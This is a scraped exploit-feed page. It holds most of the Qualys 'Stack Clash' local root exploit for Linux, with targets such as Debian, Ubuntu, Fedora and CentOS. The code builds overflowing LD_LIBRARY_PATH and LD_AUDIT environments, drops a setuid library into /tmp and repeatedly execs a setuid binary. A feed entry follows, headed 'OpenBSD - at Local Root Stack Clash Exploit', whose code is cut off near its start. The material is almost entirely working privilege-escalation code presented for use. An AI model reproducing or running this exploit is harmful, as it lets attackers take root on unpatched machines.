= "Debian 7.7 (wheezy)", .vdso_vvar = 4096, .jump_ldso_pie = 1, .CVE_2015_1593 = 1, .offset2lib = 1, .system_dir = "/lib", .repl_lib = "lib/x86_64-linux-gnu", }, { .name = "Debian 8.5 (jessie)", .vdso_vvar = 16384, .offset2lib = 1, .system_dir = "/lib", .repl_lib = "lib/x86_64-linux-gnu", }, { .name = "Debian 9.0 (stretch)", .vdso_vvar = 16384, .system_dir = "/lib", .repl_lib = "lib/x86_64-linux-gnu", .extra_page = 1, }, { .name = "Ubuntu 14.04.2 (Trusty Tahr)", .vdso_vvar = 8192, .jump_ldso_pie = 1, .CVE_2015_1593 = 1, .offset2lib = 1, .system_dir = "/lib", .repl_lib = "lib/x86_64-linux-gnu", .disable_audit = 1, }, { .name = "Ubuntu 16.04.2 (Xenial Xerus)", .vdso_vvar = 16384, .system_dir = "/lib", .repl_lib = "lib/x86_64-linux-gnu", .disable_audit = 1, }, { .name = "Ubuntu 17.04 (Zesty Zapus)", .vdso_vvar = 16384, .system_dir = "/lib", .repl_lib = "lib/x86_64-linux-gnu", .extra_page = 1, .disable_audit = 1, }, { .name = "Fedora 22 (Twenty Two)", .vdso_vvar = 16384, .offset2lib = 1, .system_dir = "/lib64", .repl_lib = "lib64", }, { .name = "Fedora 25 (Server Edition)", .vdso_vvar = 16384, .system_dir = "/lib64", .repl_lib = "lib64", .extra_page = 1, }, { .name = "CentOS 7.3.1611 (Core)", .vdso_vvar = 8192, .jump_ldso_pie = 1, .offset2lib = 1, .system_dir = "/lib64", .repl_lib = "lib64", }, }; #define die() do { \ printf("died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static const char * my_asprintf(const char * const fmt, ...) { if (!fmt) die(); char * str = NULL; va_list ap; va_start(ap, fmt); const int len = vasprintf(&str, fmt, ap); va_end(ap); if (!str) die(); if (len <= 0) die(); if ((unsigned int)len != strlen(str)) die(); return str; } static const ElfW(auxv_t) * my_auxv; static unsigned long int my_getauxval (const unsigned long int type) { const ElfW(auxv_t) * p; if (!my_auxv) die(); for (p = my_auxv; p->a_type != AT_NULL; p++) if (p->a_type == type) return p->a_un.a_val; die(); } struct elf_info { ElfW(Half) type; uintptr_t rx_start, rx_end; uintptr_t rw_start, rw_end; }; static struct elf_info get_elf_info(const char * const binary) { struct elf_info elf = { ET_NONE }; if (elf.rx_start || elf.rx_end) die(); if (elf.rw_start || elf.rw_end) die(); const int fd = open(binary, O_RDONLY); if (fd <= -1) die(); struct stat st; if (fstat(fd, &st)) die(); if (!S_ISREG(st.st_mode)) die(); if (st.st_size <= 0) die(); #define SAFESZ ((size_t)64<<20) if (st.st_size >= (ssize_t)SAFESZ) die(); const size_t size = st.st_size; uint8_t * const buf = malloc(size); if (!buf) die(); if (read(fd, buf, size) != (ssize_t)size) die(); if (close(fd)) die(); if (size <= sizeof(ElfW(Ehdr))) die(); const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf; if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die(); if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die(); if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die(); if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die(); if (ehdr->e_ident[EI_CLASS] != ELFCLASS64) die(); if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die(); if (ehdr->e_type != ET_DYN && ehdr->e_type != ET_EXEC) die(); if (ehdr->e_machine != EM_X86_64) die(); if (ehdr->e_version != EV_CURRENT) die(); if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die(); if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die(); if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die(); if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die(); elf.type = ehdr->e_type; int interp = 0; unsigned int i; for (i = 0; i < ehdr->e_phnum; i++) { const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i; if (phdr->p_type == PT_INTERP) interp = 1; if (phdr->p_type != PT_LOAD) continue; if (phdr->p_offset >= size) die(); if (phdr->p_filesz > size - phdr->p_offset) die(); if (phdr->p_filesz > phdr->p_memsz) die(); if (phdr->p_vaddr != phdr->p_paddr) die(); if (phdr->p_vaddr >= SAFESZ) die(); if (phdr->p_memsz >= SAFESZ) die(); if (phdr->p_memsz <= 0) die(); if (phdr->p_align != 0x200000) die(); switch (phdr->p_flags) { case PF_R | PF_X: if (elf.rx_end) die(); if (elf.rw_end) die(); if (phdr->p_vaddr && ehdr->e_type != ET_EXEC) die(); elf.rx_start = phdr->p_vaddr & ~(PAGESZ-1); elf.rx_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1); if (!elf.rx_end) die(); break; case PF_R | PF_W: if (!elf.rx_end) die(); if (elf.rw_end) die(); elf.rw_start = phdr->p_vaddr & ~(PAGESZ-1); elf.rw_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1); if (elf.rw_start <= elf.rx_end) die(); break; default: die(); } } if (!interp && !strstr(binary, "/ld-linux")) die(); if (!elf.rx_end) die(); if (!elf.rw_end) die(); free(buf); return elf; } /* There are no hardware capabilities defined. */ #define my_hwcap_string(idx) "" struct my_important_hwcaps { unsigned long hwcap_mask; size_t max_capstrlen; size_t pointers; size_t strings; }; struct my_link_map { const ElfW(Phdr) * l_phdr; ElfW(Half) l_phnum; ElfW(Addr) l_addr; }; struct r_strlenpair { const char *str; size_t len; }; /* Return an array of useful/necessary hardware capability names. */ static struct my_important_hwcaps my_important_hwcaps (const char * const platform, const size_t platform_len, const uint64_t hwcap, const uint64_t hwcap_mask, const struct my_link_map * sysinfo_map) { static const struct my_important_hwcaps err; /* Determine how many important bits are set. */ uint64_t masked = hwcap & hwcap_mask; size_t cnt = platform != NULL; size_t n, m; size_t total; struct r_strlenpair *result; /* Count the number of bits set in the masked value. */ for (n = 0; (~((1ULL << n) - 1) & masked) != 0; ++n) if ((masked & (1ULL << n)) != 0) ++cnt; /* The system-supplied DSO can contain a note of type 2, vendor "GNU". This gives us a list of names to treat as fake hwcap bits. */ const char *dsocaps = NULL; size_t dsocapslen = 0; if (sysinfo_map != NULL) { const ElfW(Phdr) *const phdr = sysinfo_map->l_phdr; const ElfW(Word) phnum = sysinfo_map->l_phnum; uint_fast16_t i; for (i = 0; i < phnum; ++i) if (phdr[i].p_type == PT_NOTE) { const ElfW(Addr) start = (phdr[i].p_vaddr + sysinfo_map->l_addr); /* The standard ELF note layout is exactly as the anonymous struct. The next element is a variable length vendor name of length VENDORLEN (with a real length rounded to ElfW(Word)), followed by the data of length DATALEN (with a real length rounded to ElfW(Word)). */ const struct { ElfW(Word) vendorlen; ElfW(Word) datalen; ElfW(Word) type; } *note = (const void *) start; while ((ElfW(Addr)) (note + 1) - start < phdr[i].p_memsz) { #define ROUND(len) (((len) + sizeof (ElfW(Word)) - 1) & -sizeof (ElfW(Word))) /* The layout of the type 2, vendor "GNU" note is as follows: .long .long (as mask >> _DL_FIRST_EXTRA). .byte .asciz . */ if (note->type == NT_GNU_HWCAP && note->vendorlen == sizeof "GNU" && !memcmp ((note + 1), "GNU", sizeof "GNU") && note->datalen > 2 * sizeof (ElfW(Word)) + 2) { const ElfW(Word) *p = ((const void *) (note + 1) + ROUND (sizeof "GNU")); cnt += *p++; ++p; /* Skip mask word. */ dsocaps = (const char *) p; /* Pseudo-string "name" */ dsocapslen = note->datalen - sizeof *p * 2; break; } note = ((const void *) (note + 1) + ROUND (note->vendorlen) + ROUND (note->datalen)); #undef ROUND } if (dsocaps != NULL) break; } } /* For TLS enabled builds always add 'tls'. */ ++cnt; /* Create temporary data structure to generate result table. */ if (cnt < 2) return err; if (cnt >= 32) return err; struct r_strlenpair temp[cnt]; m = 0; if (dsocaps != NULL) { /* dsocaps points to the .asciz string, and -1 points to the mask .long just before the string. */ const ElfW(Word) mask = ((const ElfW(Word) *) dsocaps)[-1]; size_t len; const char *p; for (p = dsocaps; p < dsocaps + dsocapslen; p += len + 1) { uint_fast8_t bit = *p++; len = strlen (p); /* Skip entries that are not enabled in the mask word. */ if (mask & ((ElfW(Word)) 1 << bit)) { temp[m].str = p; temp[m].len = len; ++m; } else --cnt; } } for (n = 0; masked != 0; ++n) if ((masked & (1ULL << n)) != 0) { temp[m].str = my_hwcap_string (n); temp[m].len = strlen (temp[m].str); masked ^= 1ULL << n; ++m; } if (platform != NULL) { temp[m].str = platform; temp[m].len = platform_len; ++m; } temp[m].str = "tls"; temp[m].len = 3; ++m; assert (m == cnt); /* Determine the total size of all strings together. */ if (cnt == 1) total = temp[0].len + 1; else { total = temp[0].len + temp[cnt - 1].len + 2; if (cnt > 2) { total <<= 1; for (n = 1; n + 1 < cnt; ++n) total += temp[n].len + 1; if (cnt > 3 && (cnt >= sizeof (size_t) * 8 || total + (sizeof (*result) << 3) >= (1UL << (sizeof (size_t) * 8 - cnt + 3)))) return err; total <<= cnt - 3; } } /* The result structure: we use a very compressed way to store the various combinations of capability names. */ const size_t _sz = 1 << cnt; /* Now we are ready to install the string pointers and length. */ size_t max_capstrlen = 0; n = cnt; do { const size_t mask = 1 << --n; for (m = 1 << cnt; m > 0; ) { if ((--m & mask) != 0) max_capstrlen += temp[n].len + 1; break; } } while (n != 0); if (hwcap_mask > ULONG_MAX) die(); const struct my_important_hwcaps ret = { .hwcap_mask = hwcap_mask, .max_capstrlen = max_capstrlen, .pointers = _sz * sizeof (*result), .strings = total, }; return ret; } static size_t my_bsearch(const void * const key, const void * const base, const size_t nmemb, const size_t size, int (* const compar)(const void *, const void *)) { if (!key) die(); if (!size) die(); if (!compar) die(); if (nmemb >= SSIZE_MAX / size) die(); if (!base != !nmemb) die(); if (!base || !nmemb) return 0; size_t low = 0; size_t high = nmemb - 1; while (low <= high) { const size_t mid = low + (high - low) / 2; if (mid >= nmemb) die(); const int cond = compar(key, base + mid * size); switch (cond) { case 0: return mid; case -1: if (mid <= 0) { if (mid != 0) die(); if (low != 0) die(); return low; } high = mid - 1; break; case +1: low = mid + 1; break; default: die(); } } if (low > nmemb) die(); return low; } static int cmp_important_hwcaps(const void * const _a, const void * const _b) { const struct my_important_hwcaps * const a = _a; const struct my_important_hwcaps * const b = _b; if (a->strings < b->strings) return -1; if (a->strings > b->strings) return +1; if (a->pointers < b->pointers) return -1; if (a->pointers > b->pointers) return +1; if (a->max_capstrlen < b->max_capstrlen) return -1; if (a->max_capstrlen > b->max_capstrlen) return +1; return 0; } static void copy_lib(const char * const src, const char * const dst) { if (!src) die(); if (*src != '/') die(); if (!dst) die(); if (*dst != '/') die(); const int src_fd = open(src, O_RDONLY); if (src_fd <= -1) die(); const int dst_fd = open(dst, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0); if (dst_fd <= -1) die(); for (;;) { char buf[1024]; const ssize_t rd = read(src_fd, buf, sizeof(buf)); if (rd == 0) break; if (rd <= 0) die(); const ssize_t wr = write(dst_fd, buf, rd); if (wr != rd) die(); } if (fchmod(dst_fd, 0755)) die(); if (close(dst_fd)) die(); if (close(src_fd)) die(); } static void create_needed_libs(const char * const bin, const char * const dir) { if (!bin) die(); if (*bin != '/') die(); if (strspn(bin, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+,-./_") != strlen(bin)) die(); if (!dir) die(); if (*dir != '/') die(); if (dir[strlen(dir)-1] != '/') die(); char cmd[256]; if ((unsigned int)snprintf(cmd, sizeof(cmd), "/usr/bin/env - %s --list %s", LDSO, bin) >= sizeof(cmd)) die(); FILE * const fp = popen(cmd, "r"); if (!fp) die(); char buf[256]; unsigned int num_libs = 0; while (fgets(buf, sizeof(buf), fp) == buf) { if (!strchr(buf, '\n')) die(); const char * const rel_lib = buf + strspn(buf, "\t "); if (strncmp(rel_lib, "lib", 3)) continue; char * sp = strchr(rel_lib, ' '); if (!sp) die(); if (strncmp(sp, " => /", 5)) die(); *sp = '\0'; if (strchr(rel_lib, '/')) die(); const char * const abs_lib = sp + 4; if (*abs_lib != '/') die(); sp = strchr(abs_lib, ' '); if (!sp) die(); if (strncmp(sp, " (0x", 4)) die(); *sp = '\0'; size_t i; static const char * const prefixes[] = { "", "/", "/.", "/.." }; for (i = 0; i < sizeof(prefixes)/sizeof(*prefixes); i++) { char tmp_lib[256]; if ((unsigned int)snprintf(tmp_lib, sizeof(tmp_lib), "%s%s%s", dir, prefixes[i], rel_lib) >= sizeof(tmp_lib)) die(); copy_lib(abs_lib, tmp_lib); } if (!++num_libs) die(); } if (!num_libs) die(); printf("copied %u lib%s\n", num_libs, num_libs > 1 ? "s" : ""); if (pclose(fp) != EXIT_SUCCESS) die(); } int main(const int my_argc, const char * const my_argv[], const char * const my_envp[]) { { const char * const * p = my_envp; while (*p++) ; my_auxv = (const void *)p; } if (my_getauxval(AT_PAGESZ) != PAGESZ) die(); if (my_argc != 1+2) { printf("Usage: %s target binary\n", my_argv[0]); size_t i; for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) { printf("Target %zu %s\n", i, targets[i].name); } die(); } { const size_t i = strtoul(my_argv[1], NULL, 10); if (i >= sizeof(targets)/sizeof(*targets)) die(); target = targets + i; printf("Target %zu %s\n", i, target->name); } const size_t safe_stack_size = target->CVE_2015_1593 ? 65536 : 32768; printf("safe_stack_size %zu\n", safe_stack_size); if (safe_stack_size <= SUB_STACK_RAND) die(); const char * const binary = realpath(my_argv[2], NULL); if (!binary) die(); if (*binary != '/') die(); if (access(binary, R_OK | X_OK)) die(); const struct elf_info elf_binary = get_elf_info(binary); const struct elf_info elf_interp = get_elf_info(LDSO); const struct elf_info elf = (elf_binary.type == ET_DYN && target->offset2lib && !target->jump_ldso_pie) ? elf_binary : elf_interp; const size_t jump_ldso_pie = (elf_binary.type == ET_DYN && target->offset2lib && target->jump_ldso_pie) ? (elf_binary.rx_end - elf_binary.rx_start) : 0; if (elf.rw_start - elf.rx_end <= target->vdso_vvar) die(); const char * const slash = strrchr(binary, '/'); if (!slash) die(); if (slash <= binary) die(); const char * const origin = strndup(binary, slash - binary); if (!origin) die(); printf("origin %s (%zu)\n", origin, strlen(origin)); const char * const platform = (const void *)my_getauxval(AT_PLATFORM); if (!platform) die(); if (strcmp(platform, "x86_64") != 0) die(); const size_t platform_len = strlen(platform); const struct { const char * str; size_t len; size_t repl_len; } DSTs[] = { #define DST_LIB "LIB" { DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) }, #define DST_PLATFORM "PLATFORM" { DST_PLATFORM, strlen(DST_PLATFORM), platform_len } }; size_t repl_max = target->ignore_origin ? 0 : strlen(origin); { size_t i; for (i = target->ignore_lib ? 1 : 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) { if (repl_max < DSTs[i].repl_len) repl_max = DSTs[i].repl_len; } } printf("repl_max %zu\n", repl_max); if (repl_max < 4) die(); const ElfW(Ehdr) * const sysinfo_dso = (const void *)my_getauxval(AT_SYSINFO_EHDR); if (!sysinfo_dso) die(); struct my_link_map sysinfo_map = { .l_phdr = (const void *)sysinfo_dso + sysinfo_dso->e_phoff, .l_phnum = sysinfo_dso->e_phnum, .l_addr = ULONG_MAX }; { uint_fast16_t i; for (i = 0; i < sysinfo_map.l_phnum; ++i) { const ElfW(Phdr) * const ph = &sysinfo_map.l_phdr[i]; if (ph->p_type == PT_LOAD) { if (sysinfo_map.l_addr == ULONG_MAX) sysinfo_map.l_addr = ph->p_vaddr; } } } if (sysinfo_map.l_addr == ULONG_MAX) die(); sysinfo_map.l_addr = (ElfW(Addr))sysinfo_dso - sysinfo_map.l_addr; const unsigned long hwcap = my_getauxval(AT_HWCAP); if (!hwcap) die(); struct my_important_hwcaps * important_hwcaps = NULL; size_t num_important_hwcaps = 0; { size_t max_important_hwcaps = 0; uint32_t hwcap_mask = 1; do { if (hwcap_mask & ~hwcap) continue; const uint64_t popcount = __builtin_popcount(hwcap_mask); if (popcount < 1) die(); if (popcount > 32) die(); const struct my_important_hwcaps ihc = my_important_hwcaps(platform, platform_len, hwcap, hwcap_mask, &sysinfo_map); if (!ihc.pointers) die(); const size_t idx = my_bsearch(&ihc, important_hwcaps, num_important_hwcaps, sizeof(struct my_important_hwcaps), cmp_important_hwcaps); if (idx > num_important_hwcaps) die(); if (idx == num_important_hwcaps || cmp_important_hwcaps(&ihc, important_hwcaps + idx)) { if (num_important_hwcaps >= max_important_hwcaps) { if (num_important_hwcaps != max_important_hwcaps) die(); if (max_important_hwcaps >= 65536) die(); max_important_hwcaps += 256; if (num_important_hwcaps >= max_important_hwcaps) die(); important_hwcaps = realloc(important_hwcaps, max_important_hwcaps * sizeof(struct my_important_hwcaps)); if (!important_hwcaps) die(); } memmove(important_hwcaps + idx + 1, important_hwcaps + idx, (num_important_hwcaps - idx) * sizeof(struct my_important_hwcaps)); important_hwcaps[idx] = ihc; num_important_hwcaps++; } if (!(hwcap_mask % 0x10000000)) printf("num_important_hwcaps %zu hwcap_mask %x\n", num_important_hwcaps, hwcap_mask); } while (++hwcap_mask); } printf("num_important_hwcaps %zu\n", num_important_hwcaps); static struct { size_t len, gwr, dst, cnt; struct my_important_hwcaps ihc; } best = { .ihc = { .pointers = SIZE_MAX } }; if (strrchr(target->system_dir, '/') != target->system_dir) die(); const char * const sep_lib = my_asprintf(":%s", target->system_dir); const size_t sep_lib_len = strlen(sep_lib); if (sep_lib_len >= MALLOC_ALIGN) die(); #define LLP "LD_LIBRARY_PATH=" static char llp[MAX_ARG_STRLEN]; size_t len; for (len = sizeof(llp) - sizeof(LLP); len >= MALLOC_ALIGN; len -= MALLOC_ALIGN) { size_t gwr; for (gwr = MALLOC_ALIGN; gwr <= len - sep_lib_len; gwr += MALLOC_ALIGN) { size_t dst; for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) { const size_t cnt = (len - sep_lib_len - gwr) / (1 + DSTs[dst].len + 1); const size_t gpj = (len + cnt * (repl_max - (target->ignore_lib ? 7 : 4)) + 1 + STACK_ALIGN-1) & ~(STACK_ALIGN-1); const size_t bwr = (cnt * (DSTs[dst].repl_len + 1)) + (len - gwr - cnt * (1 + DSTs[dst].len + 1)) + 1; size_t idx; for (idx = 0; idx < num_important_hwcaps; idx++) { const struct my_important_hwcaps ihc = important_hwcaps[idx]; if (ihc.max_capstrlen % MALLOC_ALIGN >= sizeof("/..")) continue; if (ihc.pointers <= 2 * SUB_STACK_RAND) continue; const size_t nup = ((ihc.pointers + ihc.strings + PAGESZ-1) & ~(PAGESZ-1)) + (target->extra_page * PAGESZ); if (nup >= (elf.rw_start - elf.rx_end) - target->vdso_vvar) continue; const size_t ihc_strings_start = ihc.pointers; const size_t ihc_strings_end = ihc_strings_start + ihc.strings; const size_t gpj_base = nup + target->vdso_vvar + (elf.rw_end - elf.rw_start) + jump_ldso_pie + PAGESZ + safe_stack_size; const size_t gpj_base_lo = gpj_base - SUB_STACK_RAND; const size_t gpj_base_hi = gpj_base + SUB_STACK_RAND; if (gpj_base_lo <= gpj) continue; if (gpj_base_hi - gpj >= ihc_strings_start) continue; if (gpj_base_lo - gpj + gwr <= ihc_strings_start) continue; if (gpj_base_hi - gpj + gwr + bwr >= ihc_strings_end) continue; if (best.ihc.pointers <= ihc.pointers) continue; best.ihc = ihc; best.len = len; best.gwr = gwr; best.dst = dst; best.cnt = cnt; printf("max %zu ihcp %zu ihcs %zu len %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu\n", ihc.max_capstrlen, ihc.pointers, ihc.strings, len, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len); } } } } if (best.ihc.pointers >= SIZE_MAX) die(); if (INITIAL_STACK_EXPANSION <= safe_stack_size) die(); const size_t pads = (INITIAL_STACK_EXPANSION - safe_stack_size) / sizeof(char *); static char pad[MAX_ARG_STRLEN]; memset(pad, ' ', sizeof(pad)-1); { char * cp = mempcpy(llp, LLP, sizeof(LLP)-1); memset(cp, '/', best.len); if (best.len <= sep_lib_len) die(); memcpy(cp + best.len - sep_lib_len, sep_lib, sep_lib_len); if (*(cp + best.len)) die(); #define LIB_TO_TMP "/../tmp/" if (sizeof(LIB_TO_TMP)-1 != MALLOC_ALIGN) die(); if (!best.gwr) die(); if (best.gwr >= best.len) die(); if (best.gwr % MALLOC_ALIGN) die(); size_t i; for (i = 0; i < best.gwr / MALLOC_ALIGN; i++) { cp = mempcpy(cp, LIB_TO_TMP, MALLOC_ALIGN); } if (!best.cnt) die(); if (best.dst >= sizeof(DSTs)/sizeof(*DSTs)) die(); for (i = 0; i < best.cnt; i++) { *cp++ = '$'; cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len); *cp++ = '/'; } if (cp >= llp + sizeof(llp)) die(); if (llp[sizeof(llp)-1]) die(); if (strlen(llp) != sizeof(LLP)-1 + best.len) die(); } #define LHCM "LD_HWCAP_MASK=" static char lhcm[64]; if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%lu", LHCM, best.ihc.hwcap_mask) >= sizeof(lhcm)) die(); const size_t args = 1 + (target->jump_ldso_pie ? 0 : pads) + 1; char ** const argv = calloc(args, sizeof(char *)); if (!argv) die(); { char ** ap = argv; *ap++ = (char *)binary; if (!target->jump_ldso_pie) { size_t i; for (i = 0; i < pads; i++) { *ap++ = pad; } } *ap++ = NULL; if (ap != argv + args) die(); } const size_t envs = 3 + (target->jump_ldso_pie ? pads : 0) + 1; char ** const envp = calloc(envs, sizeof(char *)); if (!envp) die(); { char ** ep = envp; *ep++ = llp; *ep++ = lhcm; #define REL_LA "a" #define LDA "LD_AUDIT=" #define LDP "LD_PRELOAD=" *ep++ = target->disable_audit ? LDP REL_LA : LDA REL_LA; if (target->jump_ldso_pie) { size_t i; for (i = 0; i < pads; i++) { *ep++ = pad; } } *ep++ = NULL; if (ep != envp + envs) die(); } { const size_t MIN_GAP = target->CVE_2015_1593 ? (128*1024*1024UL + (((-1U ) & 0x3fffff) << 12)) : (128*1024*1024UL + (((-1UL) & 0x3fffff) << 12)) ; printf("MIN_GAP %zu\n", MIN_GAP); if (pads * sizeof(pad) + (1<<20) >= MIN_GAP / 4) die(); const struct rlimit rlimit_stack = { MIN_GAP, MIN_GAP }; if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die(); } int pipefd[2]; if (pipe(pipefd)) die(); if (close(pipefd[0])) die(); pipefd[0] = -1; if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die(); { const char * const abs_la_dir = my_asprintf("/%s/%s/", target->system_dir, LIB_TO_TMP); const char * const abs_las[] = { my_asprintf("%s%s%s", abs_la_dir, "", REL_LA), my_asprintf("%s%s%s", abs_la_dir, "/", REL_LA), my_asprintf("%s%s%s", abs_la_dir, "/.", REL_LA), my_asprintf("%s%s%s", abs_la_dir, "/..", REL_LA), }; size_t i; for (i = 0; i < sizeof(abs_las)/sizeof(*abs_las); i++) { const int fd = open(abs_las[i], O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0); if (fd <= -1) die(); { struct stat st; if (fstat(fd, &st)) die(); if (!S_ISREG(st.st_mode)) die(); if (st.st_uid != getuid()) die(); if (st.st_uid != geteuid()) die(); } { static const #include "la.so.h" if (sizeof(la_so) != la_so_len) die(); if (write(fd, la_so, sizeof(la_so)) != (ssize_t)sizeof(la_so)) die(); } if (fchmod(fd, 04755)) die(); if (close(fd)) die(); } if (target->disable_audit) create_needed_libs(binary, abs_la_dir); } size_t try; for (try = 1; try; try++) { if (fflush(stdout)) die(); const pid_t pid = fork(); if (pid <= -1) die(); if (pid == 0) { if (dup2(pipefd[1], 1) != 1) die(); if (dup2(pipefd[1], 2) != 2) die(); execve(*argv, argv, envp); die(); } int status = 0; struct timeval start, stop, diff; if (gettimeofday(&start, NULL)) die(); if (waitpid(pid, &status, WUNTRACED) != pid) die(); if (gettimeofday(&stop, NULL)) die(); timersub(&stop, &start, &diff); printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec); if (WIFSIGNALED(status)) { printf("signal %d\n", WTERMSIG(status)); switch (WTERMSIG(status)) { case SIGPIPE: case SIGSEGV: case SIGBUS: break; default: die(); } } else if (WIFEXITED(status)) { printf("exited %d\n", WEXITSTATUS(status)); die(); } else if (WIFSTOPPED(status)) { printf("stopped %d\n", WSTOPSIG(status)); die(); } else { printf("unknown %d\n", status); die(); } } die(); }
Categories: Exploits

OpenBSD - 'at' Local Root Stack Clash Exploit

SecurityLab.ru - Wed, 2017-06-28 23:58
/* * OpenBSD_at.c for CVE-2017-1000373 * Copyright (c) 2017 Qualys, Inc. * slowsort() adapted from lib/libc/stdlib/qsort.c: * * Copyright (c) 1992, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ /* * OpenBSD_at.c for CVE-2017-1000372 * Copyright (C) 2017 Qualys, Inc. * ttime() adapted from usr.bin/at/at.c: * * at.c : Put file into atrun queue * Copyright (C) 1993, 1994 Thomas Koenig * * Atrun & Atq modifications * Copyright (C) 1993 David Parsons * * Traditional BSD behavior and other significant modifications * Copyright (C) 2002-2003 Todd C. Miller * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. The name of the author(s) may not be used to endorse or promote * products derived from this software without specific prior written * permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include #include #include #include #include #include #include #include #include #include #include #include #include static const char * u64tostr(uint64_t u64) { static char str[64]; char * cp = str + sizeof(str); *--cp = '\0'; do { if (cp <= str) _exit(__LINE__); *--cp = '0' + (u64 % 10); } while (u64 /= 10); return cp; } #define die() do { \ const char * const str = u64tostr(__LINE__); \ const size_t len = strlen(str); \ write(STDERR_FILENO, "\n[", 2); \ write(STDERR_FILENO, str, len); \ write(STDERR_FILENO, "]\n", 2); \ _exit(EXIT_FAILURE); \ } while (0) static __inline char *med3(char *, char *, char *, int (*)(const void *, const void *)); static __inline void swapfunc(char *, char *, size_t, int); /* * Qsort routine from Bentley & McIlroy's "Engineering a Sort Function". */ #define swapcode(TYPE, parmi, parmj, n) { \ size_t i = (n) / sizeof (TYPE); \ TYPE *pi = (TYPE *) (parmi); \ TYPE *pj = (TYPE *) (parmj); \ do { \ TYPE t = *pi; \ *pi++ = *pj; \ *pj++ = t; \ } while (--i > 0); \ } #define SWAPINIT(a, es) swaptype = ((char *)a - (char *)0) % sizeof(long) || \ es % sizeof(long) ? 2 : es == sizeof(long)? 0 : 1; static __inline void swapfunc(char *a, char *b, size_t n, int swaptype) { if (swaptype <= 1) swapcode(long, a, b, n) else swapcode(char, a, b, n) } #define swap(a, b) \ if (swaptype == 0) { \ long t = *(long *)(a); \ *(long *)(a) = *(long *)(b); \ *(long *)(b) = t; \ } else \ swapfunc(a, b, es, swaptype) #define vecswap(a, b, n) if ((n) > 0) swapfunc(a, b, n, swaptype) static __inline char * med3(char *a, char *b, char *c, int (*cmp)(const void *, const void *)) { return cmp(a, b) < 0 ? (cmp(b, c) < 0 ? b : (cmp(a, c) < 0 ? c : a )) :(cmp(b, c) > 0 ? b : (cmp(a, c) < 0 ? a : c )); } typedef struct { size_t idx; size_t key; } slowsort_t; static __inline void set_key(void * const _pss, const size_t key) { slowsort_t * const pss = _pss; if (!pss) die(); if (!key) die(); if (pss->key) die(); 